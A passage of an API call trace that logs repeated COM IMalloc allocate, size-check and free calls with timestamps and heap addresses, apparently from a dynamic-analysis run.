pv=0x2764bb08d20) returned 0x8 [0110.064] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08d20) [0110.064] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a60 [0110.064] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a60) returned 0x10 [0110.064] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a60) [0110.064] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f00 [0110.064] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f00) returned 0x8 [0110.064] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f00) [0110.064] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08eb0 [0110.064] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08eb0) returned 0x8 [0110.065] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08eb0) [0110.065] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b70 [0110.065] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) returned 0x8 [0110.065] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) [0110.065] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a60 [0110.065] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a60) returned 0x10 [0110.065] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a60) [0110.065] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08d20 [0110.065] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08d20) returned 0x8 [0110.066] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08d20) [0110.066] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d77c0 [0110.066] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d77c0) returned 0x10 [0110.244] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d77c0) [0110.244] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0110.244] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0110.250] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0110.250] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7860 [0110.250] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7860) returned 0x10 [0110.251] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7860) [0110.251] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09020 [0110.251] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09020) returned 0x8 [0110.251] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09020) [0110.251] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7860 [0110.251] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7860) returned 0x10 [0110.253] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7860) [0110.253] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d77c0 [0110.253] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d77c0) returned 0x10 [0110.254] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d77c0) [0110.254] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0110.254] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0110.256] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0110.256] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b00 [0110.256] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) returned 0x10 [0110.257] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) [0110.257] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fc0 [0110.257] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fc0) returned 0x8 [0110.258] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fc0) [0110.258] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e00 [0110.258] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7e00) returned 0x10 [0110.259] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e00) [0110.259] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092e0 [0110.259] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) returned 0x8 [0110.260] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) [0110.260] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c00 [0110.260] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7c00) returned 0x10 [0110.261] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c00) [0110.261] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090d0 [0110.261] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090d0) returned 0x8 [0110.262] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090d0) [0110.262] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ae0 [0110.262] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ae0) returned 0x10 [0110.263] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ae0) [0110.263] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0110.263] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0110.264] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0110.264] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7980 [0110.264] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7980) returned 0x10 [0110.264] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7980) [0110.265] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09150 [0110.265] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09150) returned 0x8 [0110.265] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09150) [0110.265] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7be0 [0110.265] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) returned 0x10 [0110.265] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) [0110.265] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092e0 [0110.265] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) returned 0x8 [0110.265] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) [0110.265] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a80 [0110.265] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a80) returned 0x10 [0110.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a80) [0110.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fc0 [0110.266] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fc0) returned 0x8 [0110.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fc0) [0110.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ba0 [0110.266] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ba0) returned 0x10 [0110.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ba0) [0110.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09090 [0110.266] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09090) returned 0x8 [0110.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09090) [0110.267] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ba0 [0110.267] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ba0) returned 0x10 [0110.268] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ba0) [0110.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092c0 [0110.268] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) returned 0x8 [0110.269] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) [0110.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09000 [0110.269] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09000) returned 0x8 [0110.270] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09000) [0110.270] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f90 [0110.270] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) returned 0x8 [0110.271] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) [0110.271] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7800 [0110.271] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7800) returned 0x10 [0110.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7800) [0110.277] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09320 [0110.277] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09320) returned 0x8 [0110.283] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09320) [0110.283] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7860 [0110.283] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7860) returned 0x10 [0110.284] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7860) [0110.284] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09000 [0110.284] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09000) returned 0x8 [0110.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09000) [0110.285] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7f60 [0110.285] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7f60) returned 0x10 [0110.286] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7f60) [0110.286] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09230 [0110.286] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09230) returned 0x8 [0110.287] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09230) [0110.287] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e00 [0110.287] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7e00) returned 0x10 [0110.429] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e00) [0110.429] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09310 [0110.429] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09310) returned 0x8 [0110.436] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09310) [0110.436] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7800 [0110.436] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7800) returned 0x10 [0110.437] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7800) [0110.437] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f60 [0110.437] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) returned 0x8 [0110.438] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) [0110.438] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7f60 [0110.438] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7f60) returned 0x10 [0110.439] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7f60) [0110.439] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09220 [0110.439] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09220) returned 0x8 [0110.439] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09220) [0110.439] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e00 [0110.439] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7e00) returned 0x10 [0110.445] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e00) [0110.445] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0110.445] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0110.450] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0110.450] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f30 [0110.450] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f30) returned 0x8 [0110.451] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f30) [0110.451] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7be0 [0110.451] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) returned 0x10 [0110.452] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) [0110.452] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f60 [0110.452] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) returned 0x8 [0110.453] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) [0110.453] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ae0 [0110.453] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ae0) returned 0x10 [0110.454] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ae0) [0110.454] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0110.454] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0110.454] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0110.454] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ee0 [0110.454] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) returned 0x10 [0110.529] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) [0110.529] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b00 [0110.529] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) returned 0x10 [0110.540] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) [0110.540] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09000 [0110.540] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09000) returned 0x8 [0110.552] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09000) [0110.552] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b00 [0110.552] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) returned 0x10 [0110.555] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) [0110.555] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0110.555] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0110.559] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0110.559] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b00 [0110.559] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) returned 0x10 [0110.560] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) [0110.560] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090e0 [0110.560] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) returned 0x8 [0110.561] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) [0110.561] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b00 [0110.561] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) returned 0x10 [0110.562] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) [0110.562] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09250 [0110.562] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09250) returned 0x8 [0110.563] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09250) [0110.563] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ee0 [0110.563] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) returned 0x10 [0110.564] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) [0110.564] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fe0 [0110.564] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) returned 0x8 [0110.565] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) [0110.565] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b00 [0110.565] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) returned 0x10 [0110.566] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b00) [0110.566] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fa0 [0110.566] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fa0) returned 0x8 [0110.568] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fa0) [0110.568] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ee0 [0110.568] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) returned 0x10 [0110.640] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) [0110.640] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092c0 [0110.640] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) returned 0x8 [0110.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) [0110.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ba0 [0110.645] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ba0) returned 0x10 [0110.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ba0) [0110.647] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09320 [0110.647] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09320) returned 0x8 [0110.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09320) [0110.647] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7aa0 [0110.647] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7aa0) returned 0x10 [0110.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7aa0) [0110.648] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fe0 [0110.648] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) returned 0x8 [0110.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) [0110.648] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7840 [0110.648] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7840) returned 0x10 [0110.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7840) [0110.648] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090e0 [0110.648] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) returned 0x8 [0110.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) [0110.649] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c20 [0110.649] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7c20) returned 0x10 [0110.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c20) [0110.649] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0110.649] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0110.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0110.649] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ee0 [0110.649] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) returned 0x10 [0110.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) [0110.650] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0110.650] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0110.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0110.651] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09170 [0110.651] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09170) returned 0x8 [0110.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09170) [0110.651] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ee0 [0110.651] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) returned 0x10 [0110.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) [0110.651] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09070 [0110.651] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09070) returned 0x8 [0110.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09070) [0110.651] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092e0 [0110.651] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) returned 0x8 [0110.652] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) [0110.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7840 [0110.652] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7840) returned 0x10 [0110.652] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7840) [0110.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09060 [0110.652] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09060) returned 0x8 [0110.652] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09060) [0110.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7be0 [0110.652] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) returned 0x18 [0110.652] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) [0110.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03da0 [0110.652] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03da0) returned 0x20 [0110.653] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03da0) [0110.653] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7840 [0110.653] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7840) returned 0x18 [0110.653] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7840) [0110.653] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03380 [0110.653] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03380) returned 0x20 [0110.653] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03380) [0110.653] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7980 [0110.653] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7980) returned 0x18 [0110.653] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7980) [0110.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09170 [0110.654] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09170) returned 0x8 [0110.654] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09170) [0110.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0110.654] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0110.654] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0110.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c20 [0110.654] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7c20) returned 0x10 [0110.654] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c20) [0110.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fd0 [0110.654] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) returned 0x8 [0110.654] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) [0110.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09040 [0110.654] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09040) returned 0x8 [0110.655] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09040) [0110.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090c0 [0110.655] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090c0) returned 0x8 [0110.655] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090c0) [0110.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ee0 [0110.655] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) returned 0x10 [0110.655] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) [0110.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090b0 [0110.655] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090b0) returned 0x8 [0110.656] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090b0) [0110.656] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a80 [0110.656] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a80) returned 0x10 [0110.656] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a80) [0110.656] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09270 [0110.656] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09270) returned 0x8 [0110.656] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09270) [0110.656] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7980 [0110.656] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7980) returned 0x10 [0110.657] IMalloc:Free (This=0x7ff9e7edf3f0, 